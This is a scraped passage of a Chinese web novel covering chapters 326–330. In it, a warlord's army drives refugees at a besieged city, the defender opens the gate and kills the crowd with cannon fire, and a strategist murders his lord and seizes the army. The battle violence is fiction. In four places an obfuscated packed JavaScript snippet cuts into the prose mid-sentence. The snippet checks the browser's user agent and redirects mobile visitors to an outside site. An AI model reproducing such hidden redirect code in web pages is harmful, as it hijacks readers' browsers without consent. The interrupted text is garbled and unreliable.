“我也会让你看到,那所谓的十万大-军,在我面前,不过是土鸡瓦狗,不堪一击!” 他的声音,充满了强大的自信。 这股自信,感染了在场的所有人。 太平道长猛地睁开了眼睛,眼中爆发出前所未有的精光。 他从陈平川的身上,看到了一种他一直在寻找的东西。 王霸之气! …… 与此同时,城外,正义军中军大帐。 贾青的脸色,阴沉得快要滴出水来。 十天了。 整整十天! 建州城内,一点动静都没有。 陈平川就像个缩头乌龟一样,躲在城里,不出来,也不求援。 这和他预想的剧本,完全不一样。 按照他的计划,陈平川在被大军围困之后,应该会惊慌失措,要么派人出来求和,要么就是向周边势力求援。 可现在,对方稳如泰山,反倒是自己这边,快要撑不住了。 “报!” 一名传令兵冲进大帐。 “报将军!军中断粮了!后营的兄弟们,因为抢一个馒头,已经……已经打起来了!” “砰!” 李义一拳砸在桌子上,满脸的焦躁和愤怒。 “粮!粮!粮!又是粮!老子耳朵都快听出茧子了!”他冲着贾青怒吼道,“贾先生!你不是说,只要我们围住建州城,那陈平川不出三日,必定会乖乖献出粮食吗?现在都十天了!他连个屁都没放一个!” “将士们都快饿疯了!再这么下去,不用他陈平川来打,我们自己就要哗变了!” “你到底行不行?” 贾青的眼中,闪过一丝不易察觉的阴冷。 这个草包! 成事不足,败事有余! 若不是还需要用他这块招牌,来号令这十万大军,自己早就一剑杀了他了。 “将军息怒。”贾青压下心中的杀意,脸上挤出一个讨好的笑容,“陈平川比我们想象的,要更能沉得住气。看来,他是想跟我们耗下去了。” “耗?我们拿什么跟他耗?”李义气急败坏地说道。 “所以,我们不能再等了。”贾青的眼中,闪过一丝狠厉。 “先生的意思是……” “强攻!”贾青斩钉截铁地说道。 “什么?强攻?”李义愣住了,“你之前不是说,强攻会伤亡惨重吗?” “此一时,彼一时。”贾青冷笑道,“我们现在已经没有退路了!不拿下建州城,我们所有人都得饿死在这里!” “而且,我已经想到了一个,可以最大限度减少我们伤亡的办法。” “什么办法?”李义急忙问道。 贾青凑到他耳边,压低了声音。 “让那些……流民先上。” “这……”李义犹豫。 “将军,慈不掌兵!”贾青的声音,如同毒蛇吐信,“那些老弱妇孺,留着也是浪费粮食。不如,让他们去消耗陈平川的箭矢和滚石。等他们死得差不多了,城墙上的守军,也该精疲力竭了。到那时,我们再派精锐主力,一鼓作气,拿下城池!” 可是……这也太……”李义的脸上,闪过一丝不忍。 他虽然也算不上什么好人,但让他驱使着手无寸铁的百姓去送死,他还是有些于心不忍。 之前,他也曾明令禁止手下人劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246693|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掠百姓,但贾青却劝他不要太过约束士兵,否则会寒了弟兄们的心,他这才睁一只眼闭一只眼。 “将军!”贾青加重了语气,“成大事者,不拘小节!您忘了我们的目标了吗?推翻**,建立一个全新的王朝!到时候,您就是开国皇帝!些许牺牲,是在所难免的!” “皇帝……” 这两个字,像是有无穷的魔力,让李义眼中的犹豫,瞬间被贪婪所取代。 是啊,皇帝! 只要能当上皇帝,死几万个流民,又算得了什么? “好!”李义狠狠一咬牙,“就按先生说的办!” “传我将令!” “明日卯时,全军造饭!辰时,准时攻城!” “告诉将士们,谁第一个登上建州城头,赏黄金百两,官升三级!” 重赏之下,必有勇夫。 攻城的命令,迅速传遍了整个大营。 原本死气沉沉的军营,瞬间被一股嗜血的狂热所点燃。 一场决定无数人命运的大战,一触即发。 夜色下,贾青独自站在大帐外,望着远处灯火通明的建州城,脸上露出了一个狰狞的笑容。 “陈平川,这一次,我看你还怎么翻盘!” …… 次日,天刚蒙蒙亮。 “咚!咚!咚!” 沉闷而压抑的战鼓声,在建州城外响起,如同催命的魔音,笼罩了整个战场。 城墙上,破虏军的将士们早已严阵以待。 他们手持着擦得锃亮的**,腰挎佩刀,面色冷峻,眼神中没有丝毫的畏惧,只有冰冷的杀意。 林勇和石头,如同两尊门神,分别站在城楼的两侧,目光如炬,俯瞰着城下黑压压的敌军。 城楼中央,陈平川负手而立,身旁站着神情复杂的太平道长和一脸看热闹不嫌事大的了尘和尚。 “小子,阵仗不小啊。”了尘和尚灌了口酒,啧啧称奇,“这黑压压的一片,看着是挺唬人的。” 陈平川没有说话,只是静静地看着。 只见城外,所谓的“正义军”,已经摆开了阵势。 如他所料,冲在最前面的,并非是他们的精锐战兵。 而是一眼望不到头的,衣衫褴褛、面黄肌瘦的流民。 第326章 洞开城门迎死士,炮火洗地葬万军。 这些流民的人数,至少有五六万。 男女老少,皆在其中。 他们手中没有任何像样的武器,许多人只是拿着木棍、石块,甚至还有拿着农具的。 他们的脸上,写满了麻木和绝望。 在他们身后,是手持着明晃晃钢刀的“正义军”督战队。 “都给我冲!” “谁敢后退,杀无赦!” 督战队的军官们,声嘶力竭地咆哮着,用刀背,狠狠地抽打着那些迟疑不前的流民。 求生的本能,和对死亡的恐惧,驱使着这些可怜的人,发出一声声绝望的哀嚎,如同潮水一般,向着高大坚固的建州城墙,涌了过来。 “畜生!简直是畜生!” 城楼上,太平道长看到这一幕,气得浑身发抖,须发皆张。 他终于亲眼看到了,贾青和李义的手段,是何等的残忍和灭绝人性! 这哪里是攻城? 这分明就是一场单方面的,用人命来填的**! “陈……陈大人……”太平道长的声音,带着一丝颤抖,“这些人……他们都是无辜的百姓啊!” 他下意识地,想要请求陈平川手下留情。 然而,陈平川的脸上,却是一片冰冷。 他看着城下那黑压压的人潮,眼神里,没有怜悯,没有不忍,只有一种近乎残酷的平静。 “道长,你记住。”陈平川缓缓开口,战场之上,没有百姓,只有敌我。 “战争,从来都不是请客吃饭。” “对敌人的仁慈,就是对自己的残忍。” “他们现在,是无辜的百姓。可下一刻,当他们爬上城墙,冲进城内的时候,他们就是会杀死我们士兵,屠戮我们百姓的,敌人!” “我陈平川,可以为我治下的百姓,付出一切。但绝不会,为了敌人治下的所谓‘百姓’,而让我自己的士兵,去流一滴血!” 这番话,冰冷而现实,却又蕴含着一种不容辩驳的道理。 太平道长张了张嘴,却一个字也说不出来。 他知道,陈平川说的是对的。 可是,他心中的那道坎,还是过不去。 就在这时,陈平川突然下达了一道让所有人都意想不到的命令。 “传我将令!” “打开城门!” 什么?! 打开城门?! 此言一出,不止是太平道长,就连旁边的林勇和石头,都愣住了。 “主公,您说什么?”林勇不敢相信自己的耳朵。 “我说,打开城门。”陈平川重复了一遍,语气不容置疑。 “主公,万万不可啊!”石头也急了,“这要是打开城门,他们冲进来,我们就完了!” “执行命令!”陈平川冷喝一声。 林勇和石头虽然满心不解,但出于对陈平川的绝对信任,还是咬着牙,对着下面大喊道:“主公有令!开城门!” “嘎吱——” 沉重而巨大的城门,在绞盘的转动下,缓缓地,向内打开。 一个巨大的,黑洞洞的入口,出现在了所有人的面前。 这一幕,不仅让城墙上的守军感到了困惑和不安。 就连城外的“正义军”,也全都看傻了。 这是什么情况? 临阵投降? 还是……有什么阴谋? 冲在最前面的流民们,看到洞开的城门,脚步都下意识地慢了下来,脸上露出了迷茫和恐惧。 “愣着干什么!冲进去!” “他们怕了!他们投降了!” “冲啊!城里有粮食!有女人!” 后方的贾青和李义,在短暂的错愕之后,立刻反应了过来。 他们欣喜若狂! 在他们看来,这必然是陈平川被他们的阵势吓破了胆,准备开城投降了! 在他们的催促和煽动下,原本还有些迟疑的流民,眼中瞬间爆发出了贪婪的光芒。 对! 城里有吃的!有活路! 求生的欲望,压倒了一切。 “冲啊!” 不知是谁第一个喊出声,紧接着,数万流民,如同决堤的洪水,疯了一般,争先恐后地,向着那洞开的城门,涌了过去! 他们推搡着,践踏着,只为了能第一个冲进那座代表着希望的城池。 场面,瞬间失控! 城楼上,太平道长的心,提到了嗓子眼。 他死死地盯着陈平川,想从他的脸上,看出哪怕一丝的慌乱。 可他失望了。 陈平川的脸,依旧平静如水。 他只是静静地看着,看着那黑压压的人潮,涌向城门,越来越近。 五百步! 三百步! 一百步! 当最前面的流民,一只脚已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246694|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经踏入城门洞的范围时! 陈平川的右手,猛地举起,然后,重重地挥下! “开炮!” 一声令下! “轰!轰!轰!轰!轰!” 城墙之上,早已准备就绪的数十门神机营新式火炮,同时发出了震耳欲聋的咆哮! 不是朝着远处,也不是朝着城墙下方。 而是……朝着城门洞前,那片最为拥挤,最为密集的区域! 数十枚包裹着铁砂和钢珠的**,带着尖锐的呼啸声,如同死神的镰刀,狠狠地砸入了那片密集到令人发指的人群之中! 下一秒。 “轰隆隆——!” 一连串惊天动地的**声,几乎是同时响起! 火光冲天! 血肉横飞! 那片区域,瞬间变成了一片血与火的人间炼狱! **的冲击波,夹杂着无数高速飞溅的铁砂钢珠,形成了一道无法逾越的死亡屏障! 冲在最前面的数千名流民,连惨叫声都来不及发出一声,就在瞬间,被撕成了碎片! 残肢断臂,被炸得飞起数十米高,如同下雨一般,噼里啪啦地落下。 鲜血,染红了大地。 哀嚎,响彻了云霄。 仅仅一轮齐射! 城门前,便被硬生生地,清出了一片巨大的,由碎肉和鲜血铺成的,真空地带! 城楼上,死一般的寂静。 所有人都被眼前这地狱般的一幕,给彻底震傻了。 太平道长张大了嘴巴,浑身冰冷,如坠冰窟。 他终于明白了。 陈平川打开城门,不是为了投降。 而是为了……聚怪! 将敌人,**到最密集,最适合炮火覆盖的地方,然后,用最有效率,最残忍的方式,将他们,一网打尽! 好狠! 好毒的计策! 一轮炮击,天地失色。 那地狱般的景象,不仅震慑住了城楼上的太平道长,更是让城外那所谓的“十万大军”,彻底陷入了混乱和恐慌。 冲在前面的流民,被吓破了胆。 他们哪里见过如此恐怖的武器? 那震耳欲聋的巨响,那冲天而起的火光,那瞬间被撕成碎片的同伴…… 这一切,已经完全超出了他们的认知范围。 在他们眼中,那不是武器,那是天罚!是神怒! 第327章 将军,你太让我失望了! “**了!他们**了!” “快跑啊!” 不知是谁第一个崩溃地尖叫出声,紧接着,恐惧就像瘟疫一样,迅速蔓延开来。 前锋的流民们,再也顾不上身后督战队的钢刀,发疯似的,掉头就往回跑。 他们只想逃离那片修罗场,离那座可怕的城池,越远越好! 然而,他们想跑,后面的人却还在往前挤。 数万人的溃兵,和数万不明所以、依旧在向前涌动的后队,狠狠地撞在了一起。 一时间,人仰马翻,自相践踏! 整个“正义军”的阵型,在这一刻,彻底崩溃了! “不许退!给我顶住!后退者,杀无赦!” 中军位置,李义看得目瞪口呆,他声嘶力竭地咆哮着,试图稳住阵脚。 贾青的脸色,也变得惨白如纸,他引以为傲的计谋,在陈平川那不按常理出牌的打法和恐怖的火器面前,显得是那么的可笑和无力。 然而,他们的命令,在已经彻底失控的战场上,显得是那么的苍白。 兵败,如山倒! 城楼上,陈平川冷冷地看着这一切,眼神里没有丝毫的波澜。 他要的,就是这个效果。 用最震撼,最残酷的方式,一瞬间摧毁敌人的士气和组织。 “好戏,才刚刚开始。” 他再次举起了手。 “神机营,自由射击!给我把他们的中军,彻底打烂!” “遵命!” 城墙上,全伯亲自指挥的神机营炮手们,立刻开始飞速地调整炮口角度。 他们动作娴熟,配合默契,装弹,瞄准,点火,一气呵成! “轰!轰!轰!” 新一轮的炮击,开始了! 这一次,炮弹不再是覆盖城门前,而是越过了混乱的前军,精准地,朝着李义和贾青所在的中军大旗位置,落了下去! “不好!保护将军!” 李义身边的亲兵们,吓得魂飞魄散,连忙举起盾牌,想要护住李义。 可那薄薄的木盾,在从天而降的**面前,脆弱得就像是纸糊的一样。 “轰隆!” 一发炮弹,在李义身旁不远处炸开! 巨大的气浪,直接将他掀翻在地,摔得七荤八素。 无数的铁砂,呼啸而过,他身边的几个亲兵,瞬间被打成了血筛子,惨叫着倒下。 李义惊恐地摸了摸自己的脸,满手都是温热的鲜血,也不知道是自己的,还是别人的。 他抬起头,只见那杆象征着他权威的“李”字大旗,已经被炸得粉碎,正在熊熊燃烧。 “这……这到底是什么东西……” 李义的心理防线,在这一刻,彻底崩溃了。 他连滚带爬地从地上起来,不顾贾青的劝阻,翻身上了一匹备用的战马,掉头就想跑。 “将军!不可!我们还有一战之力!”贾青死死地拉住他的缰绳,急声喊道。 “滚开!”李义一脚踹开贾青,双目赤红地吼道,“还战个屁!那是人能打的吗?老子不要当皇帝了!老子要活命!” 说罢,他狠狠一抽马鞭,带着仅剩的几十个亲兵,头也不回地,向着后方狼狈逃窜。 主帅,跑了! 这一幕,被所有还在混乱中的“正义军”士兵,看得清清楚楚。 这成了压垮骆驼的,最后一根稻草。 所有人的信念,彻底崩塌了。 逃! 逃命! 成了战场上唯一的主旋律。 城楼上,陈平川看到李义逃跑,嘴角,终于露出了一丝笑容。 “时机,到了。” 他猛地拔出腰间的佩剑,向前一指! “破虏军,出击!” “杀!” 城池两侧,原本紧闭的两个侧门,轰然打开! 早已等候多时的林勇和石头,各自率领着一支铁甲精锐,如同两把出鞘的利刃,从城内,猛地杀了出去! “杀啊!” 数千名破虏军将士,发出了震天的怒吼! 他们三人一组,结成一个个小型的鸳鸯阵。 最前面一人持着大盾,负责格挡防御。 后面两人,一人持**,从盾牌的缝隙中,精准地刺杀。 另一人持着短刀,负责补刀和近身格斗。 这种阵型,进可攻,退可守,配合默契,威力无穷! 他们就像两台高效运转的绞肉机,狠狠地,插入了敌军混乱的侧翼! 那些早已溃不成军的“正义军”士兵,哪里是这些如狼似虎的破虏军的对手? 他们被分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246695|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 割,被包围,被**! **每一次捅刺,都带走一条鲜活的生命。 短刀每一次挥舞,都溅起一捧温热的鲜血。 这是一场彻头彻尾的,单方面的**! 破虏军的士兵,眼中没有丝毫的怜悯。 他们清楚地记得主公的教诲。 对待敢于侵犯自己家园的敌人,唯一的回答,就是用手中的刀枪,将他们,彻底送进地狱! 喊杀声,惨叫声,兵器碰撞声,响彻了整个原野。 城楼上,太平道长呆呆地看着这一切。 看着那犀利无比的鸳鸯阵,看着那所向披靡的破虏军,看着那如同砍瓜切菜一般的战场。 他的身体,在微微颤抖。 不是因为恐惧,而是因为……兴奋! 他仿佛看到了,一支无敌的王师,正在冉冉升起! 他仿佛看到了,终结这乱世的希望! 他再看身旁的陈平川,那眼神,已经彻底变了。 那不再是审视,不再是怀疑。 而是一种,近乎狂热的,崇拜! …… 战场另一边。 李义策马狂奔,一口气跑出十几里地,直到身后的喊杀声彻底听不见了,才敢在一处破败的荒庙前勒马停下。 他从马上滚了下来,连滚带爬地躲进庙里,背靠着一根满是蛛网的柱子,大口大口地喘着粗气,惊魂未定。 然而,还没等他喘匀这口气,庙外就传来了一阵急促的马蹄声。 李义顿时吓得魂不附体,以为是追兵到了,手忙脚乱地想找个地方躲起来。 随后看到一群人骑着马停在了荒庙前,为首一人,白面无须,正是被他一脚踹开的贾青。 “贾先生?你……你也逃出来?战场那边怎么样了?”李义看到贾青,松口气,急忙问道。 然而,贾青的脸上,却带着一种让他感到陌生的,冰冷的笑容。 “将军,你太让我失望了!。” 贾青缓缓地,摇着羽扇,语气幽幽地说道。 “你不是想当皇帝吗?怎么仗才打到一半,就跑了?” “我本以为,将军乃是天命所归,能成大业之人。却不曾想,竟是个临阵脱逃,连兵败自刎的勇气都没有的懦夫。真是……瞎了我的眼。” 第328章 奸雄弑主夺兵符,道长仗剑斥庸奴 李义心中咯噔一下,感到了一丝不妙。 “贾先生,你……你这是什么意思?” “没什么意思。”贾青的笑容,变得越发狰狞,“只是觉得,将军你,德不配位。” “这支军队,这个天下,你,不配拥有。” “贾青!你……你想**?!”李义终于反应了过来,惊怒交加地吼道。 他身边的亲兵,也纷纷拔出了刀,警惕地看着贾青和他身后的士兵。 “**?”贾青像是听到了什么天大的笑话,忍不住大笑起来。 “哈哈哈!成王败寇罢了!何来**一说?” 他的笑声,戛然而止。 眼中,杀机爆射! “将军,你败了。” “天命,不在你。” “所以,安心地,上路吧!” 话音未落,他身后冲进来数百名心腹,怒吼着,朝着李义和他的亲兵,扑了过去! 李义的亲兵,虽然也算精锐,但人数上,却远远少于贾青早已安插好的心腹。 更何况,他们刚刚经历了一场惨败,士气低落,早已是惊弓之鸟。 而贾青这边,却是蓄谋已久,以逸待劳。 双方刚一接触,便呈现出一边倒的局势。 “保护将军!” 李义的亲兵们,嘶吼着,组成一个圆阵,将李义护在中间,拼死抵抗。 但贾青的人,如同疯了一般,悍不畏死地,冲击着他们的防线。 刀光剑影,血肉横飞。 一个又一个亲兵,惨叫着倒下。 圆阵,被撕开了一个又一个缺口。 李义看着自己忠心耿耿的护卫,一个个死在自己面前,吓得魂飞魄散,肝胆俱裂。 他怎么也想不明白,自己最信任的军师,为何会对自己拔刀相向! “贾青!你这个狼心狗肺的畜生!”李义躲在人群中,色厉内荏地咒骂着,“我待你不薄!你为何要背叛我!” “待我不薄?” 贾青冷笑着,提着一柄沾血的长剑,一步步地,向他走来。 他身边的士兵,自动为他让开了一条路。 “你一个只知道喝酒玩女人的草包,也配说待我不薄?” 贾青的眼中,充满了鄙夷和不屑。 “你以为,没有我贾青,你能有今天?你能拉起这十万大军?你能被那么多人,尊称为‘李将军’?” “你不过是,我推到台前的一个傀儡罢了!” “现在,你这个傀儡,已经没有利用价值了。” 贾青走到了李义的面前,剑尖,抵在了他的咽喉上。 冰冷的触感,让李义浑身一颤,两腿一软,差点瘫倒在地。 “别……别杀我……”他语无伦次地哀求着,“贾先生……不!贾将军!我错了!我把这支军队,都给你!我给你当牛做马!求你……求你饶我一命!” “饶你?”贾青的脸上,露出了一个残忍的笑容。 “下辈子吧。” “噗嗤!” 一声轻响。 锋利的长剑,毫不留情地,刺穿了李义的喉咙。 李义的眼睛,猛地瞪大,充满了难以置信和无尽的悔恨。 他伸出手,似乎想抓住什么,但最终,还是无力地垂下,彻底没了声息。 曾经不可一世的“正义军”首领,就这么窝囊地,死在了自己最信任的人手里。 贾青抽出长剑,任由李义的尸体,软软地倒在地上。 然后,他手起剑落,将李义那颗硕大的头颅,斩了下来。 他高高地,将那颗血淋淋的人头举起,对着周围那些还在溃散,不知所措的士兵,用尽全身力气,大声嘶吼道: “李义无能,致使大军惨败!如今,他已被我斩杀!” “天命,已不在他!” “现在,天命在我贾青!” “我,才是上天注定的,天公将军!” “所有愿意追随我,建立‘天公’盛世,共享荣华富贵的兄弟,都放下武器!跪地投降!” “我保证,陈平川那边,由我去交涉!保你们所有人的性命!” 他的声音,极具煽动性。 那些本就六神无主的溃兵们,听到这番话,仿佛找到了新的主心骨。 是啊,李义**。 他们现在群龙无首,就算逃出去,也是死路一条。 而陈平川的军队,又那么可怕。 现在,贾将军站了出来,说能保住他们的性命。 他们还有什么选择? “铛啷啷……” 第一个士兵,扔掉了手中的武器,跪倒在地。 紧接着,是第二个,第三个……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253870|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>兵器落地的声音,此起彼伏,连成一片。 数万名溃兵,黑压压地,跪满了整个原野。 贾青看着这一幕,脸上露出了得意的,病态的笑容。 他成功了! 他终于,将这支军队,彻彻底底地,变成了自己的军队! 接下来,他还要找一个人,太平道长。 如果能得到这位武功盖世,又在江湖上享有偌大声望的高人相助,那自己的大业,将如虎添翼! 正巧,看到李义逃跑的太平道人也一路追到荒庙,却发现,李义已经被贾青杀了! 贾青提着李义的人头,走到了目瞪口呆的太平道长的面前。 “道长。”他脸上挤出一个自认为很真诚的笑容,“良禽择木而栖,贤臣择主而事。李义那个蠢货,已经**。” “道长乃是当世高人,何必为了一棵朽木,而放弃整片森林?” “不如,助我一臂之力!待我贾青,君临天下之日,必封道长为国师,与我共掌天下!” 他向太平道长,抛出了自认为无法拒绝的橄榄枝。 然而,太平道长看着他那张虚伪狡诈的脸,又想起了陈平川的光明磊落,和那一片欣欣向荣的土地。 两相对比,高下立判。 “呸!” 太平道长朝着地上,鄙夷地,吐了一口唾沫。 “乱世奸贼,也配与我谈天下大业?” “你这等弑主求荣,驱使百姓送死,灭绝人性的畜生,人人得而诛之!” “贫道今日,便要替天行道,清理门户!” 话音未落,他手中长剑一振,便要动手。 贾青的脸色,瞬间阴沉了下来。 “给脸不要脸的老东西!”他恼羞成-怒,厉声喝道,“给我上!杀了他!” 他身后的数百名心腹,立刻怒吼着,将太平道长,团团围住。 太平道长虽然武功高强,但他连日奔波,早已是疲惫之躯。 此刻面对数百名精锐士兵的**,他虽然奋力搏杀,剑光所到之处,不断有人倒下。 但双拳难敌四手,还有人暗中偷袭。 很快,他便寡不敌众,身上添了好几道伤口,动作也渐渐慢了下来。 “给我杀了他!别让他跑了!”贾青在一旁,疯狂地咆哮着。 第329章 天下皆反!大业王朝,遍地称王! 眼看太平道长就要力竭倒下。 就在这危急时刻! “阿弥陀佛!哪个狗娘养的,敢动我老友!” 一声中气十足的佛号,如同炸雷般响起! 一道魁梧的僧人身影,手持着一根巨大的禅杖,从远处,如同一头发怒的雄狮,猛地冲了过来! 正是了尘和尚! 他奉了陈平川的命令,一直暗中跟着太平道长,以防不测。 “轰!” 了尘和尚的禅杖,横扫而出,带着千钧之力,直接将十几个士兵,扫得筋断骨折,倒飞出去! 他杀入重围,与太平道长背靠着背,将所有敌人,挡在了外面。 “老牛鼻子,你没事吧?” “死不了!”太平道长喘着粗气,咧嘴一笑,露出一口带血的牙。 贾青看到突然杀出的了尘和尚,脸色大变。 他知道,有这两个绝世高手在,想杀死太平道长,已经是不可能了。 他当机立断,立刻下令:“撤!快撤!” 说罢,他便带着自己的心腹,头也不回地,裹胁着那些投降的溃兵,仓皇地向北方逃去。 一场大战,终于落下了帷幕。 劫后余生的太平道长,看着贾青逃走的方向,又看了看身边为他挡下数刀的了尘和尚,脸上露出了复杂的表情。 他彻底看清了贾青的真面目。 也终于明白了,谁,才是真正的救世主。 他整理了一下破烂的道袍,在了尘和尚的搀扶下,一步一步地返回建州府,走到了陈平川面前。 然后,在所有人惊讶的目光中。 这位一生孤傲,从未向任何人低过头的太平道长,对着陈平川,纳头便拜! 双膝,重重地,跪在了地上! “贫道,有眼无珠,险些误了天下苍生!” “今日,方知主公,乃是天命所归的真龙!” “贫道愿追随主公,赴汤蹈火,万死不辞!” 他的声音,无比的虔诚,无比的坚定。 陈平川看着跪在自己面前的太平道长,心中也是感慨万千。 他知道,从这一刻起,自己又多了一名强大的臂助。 他连忙上前,亲手将太平道长扶起。 “道长快快请起!能得道长相助,乃是平川之幸,更是天下百姓之幸!” 从此,陈平川的麾下,文有能臣,武有猛将,更有太平、了尘这等世外高人相助。 如虎添翼! …… 建州府衙后堂,烛火通明。 太平道长和了尘和尚,这两个江湖上跺跺脚都能引得一方震动的高人,此刻却像两个看傻了眼的小学生,愣愣地看着陈平川处理战后事宜。 数万名“正义军”的降卒,黑压压地跪在城外的空地上,像一片被狂风吹倒的麦子,垂头丧气,看不到半点生机。 如何处置这些人,是个天大的难题。 杀了?数万条人命,太过残忍,有伤天和,传出去名声也不好听。 放了?这些人转头就可能被别的起义军收编,又是一股祸乱天下的力量。 收编?鱼龙混杂,忠诚度堪忧,里面不知道混了多少贾青那样的奸猾之辈,万一在军中作乱,就是心腹大患。 “主公,这些人……”林勇站在一旁,眉头紧锁,他打了半辈子仗,也觉得这事儿棘手。 陈平川头也没抬,手指在一份份卷宗上飞快地划过,嘴里不咸不淡地说道:“杀不得,放不得,也暂时用不得。” 他放下笔,端起茶杯呷了一口,这才看向众人:“那就让他们干活。” “干活?”石头挠了挠头,瓮声瓮气地问,“主公,让他们干啥活?种地吗?” “种地?便宜他们了。”陈平川哼了一声,“江徽府和建州府要发展,百废待兴,哪儿哪儿都缺人手。修路、挖渠、建城墙、开矿山,这些活总得有人干吧?” 他目光扫过众人,继续说道:“传我的命令,所有降卒,全部打散,以百人为一队,设立‘劳动改造营’。愿意真心悔过,为我效力者,可报名参加。每日干活,发放‘劳务券’,凭券可以换取食物、衣物,甚至将来可以换取田地和自由身。” “至于那些刺头,不服管教的,或者查出来罪大恶极、民愤极大的,单独拎出来,公开审判,该杀的杀,绝不姑息。我们要的是顺民和劳力,不是大爷。” 这套操作,众人听得一愣一愣的。 不杀你,也不放你,给你一条活路,但你得用汗水来换。干得好有奖励,想闹事就砍头。这法子,简直是把人心算计到了骨子里。 太平道长看着陈平川,眼神里充满了复杂。他本以为陈平川是个杀伐果断的枭雄,却没想到他处理政务,竟有如此细腻和长远的考量。这已经不是简单的权谋,而是一种全新的,他从未见过的治理之道。 了尘和尚倒是嘿嘿一笑,宣了声佛号:“主公此法大善!佛家也讲究放下屠刀,立地成佛。给他们一个赎罪的机会,总比一杀了之要好。” 陈平川瞥了他一眼,没好气地说道:“大师,我这不是为了让他们成佛,我就是单纯缺免费的劳动力。你别给我戴高帽子,我听着晕得慌。” 了尘和尚被噎得一滞,摸了摸自己的大光头,只能尴尬地笑笑。 就在这时,一名“天算”司的信使步履匆匆地走了进来,呈上一叠厚厚的卷宗。 “主公,这是从各地传回来的最新情报。” 陈平川接过卷宗,翻开第一页,眉头就拧成了一个疙瘩。 “蜀地节度使刘承业,在成都称‘蜀王’了?还横征暴敛,扩军十万,真是好大的手笔。” 他翻开第二页,冷笑一声:“岭南观察使冯彦章,占了广州府就自立为王,还勾结南洋的海盗,把大业的子民当猪狗一样卖出去换钱?这狗东西,真该千刀万剐!” 一页页翻下去,陈平川的脸色越来越沉。 荆南节度使李全忠,在江陵自称“楚王”。 淮河节度使张楚诚,在扬州自号“吴王”,两人为了争地盘,打得头破血流,沿岸百姓苦不堪言。 就连中原腹地的兖州,一个小小刺史赵泰,也敢拉起几万兵马,自称“鲁公”,天天抢劫朝廷的漕运粮道。 整个大业王朝,就像一间四处漏风的破房子,摇摇欲坠。梁家那对母子,只顾着在京城里享受荣华富贵,对地方的糜烂视而不见,或者说,是已经无力回天。 第330章 玄旗西指山河动,龙蛇起陆吞滇王 “啪!” 陈平川将卷宗重重地合上,发出一声闷响。 整个后堂,鸦雀无声。所有人都感受到了他身上散发出的那股冰冷的杀意。 “天下,已经烂透了。”陈平川的声音不大,却像一块巨石,砸在每个人的心头。 他缓缓站起身,走到巨大的军事地图前。地图上,江徽府和建州府这两块小小的地盘,已经被涂上了代表他的玄色。但放眼望去,四周尽是代表着各个割据势力的五颜六色。 他们就像是惊涛骇浪中的一叶孤舟,随时可能被一个大浪打翻。 “诸位,”陈平川转过身,目光如电,扫过在场的每一个人,“我们之前定下稳扎稳打,慢慢发展的策略,现在看来,已经过时了。” “为什么?”石头不解地问。 “因为我们慢,别人比我们更快!”陈平川一拳砸在地图上,“我们想安安稳稳地发展,可这些豺狼虎豹会给我们时间吗?看看这些所谓的‘王’、‘公’,哪个不是在疯狂地扩充实力?等到他们站稳了脚跟,下一步,就是互相吞并。我们这点地盘,这点人马,在他们眼里,就是一块肥肉!” “不主动出击,就只能等着被人分食。与其坐以待毙,不如主动出牌,打出一个朗朗乾坤!” 他的话,掷地有声,让在场所有人的血液都开始沸腾。 “主公,您说怎么打,我们就怎么打!”林勇第一个站了出来,满脸战意。 “对!主公,下命令吧!”海哥、王奎等人也纷纷附和。 太平道长和了尘和尚对视一眼,也从对方眼中看到了决然。他们选择追随陈平川,就是看中了他能给这乱世带来希望。如今,正是这希望展翅高飞的时刻。 “好!”陈平川重重点头,他要的就是这股气势。 他拿起指挥杆,在地图上重重一点。 “我们的力量,分为两部分。水师,陆师。” “丁远!” “末将在!”一名身材挺拔,面容坚毅的年轻将领出列应道。正是丁奉国的儿子,如今的镇海舰队副提督丁远。 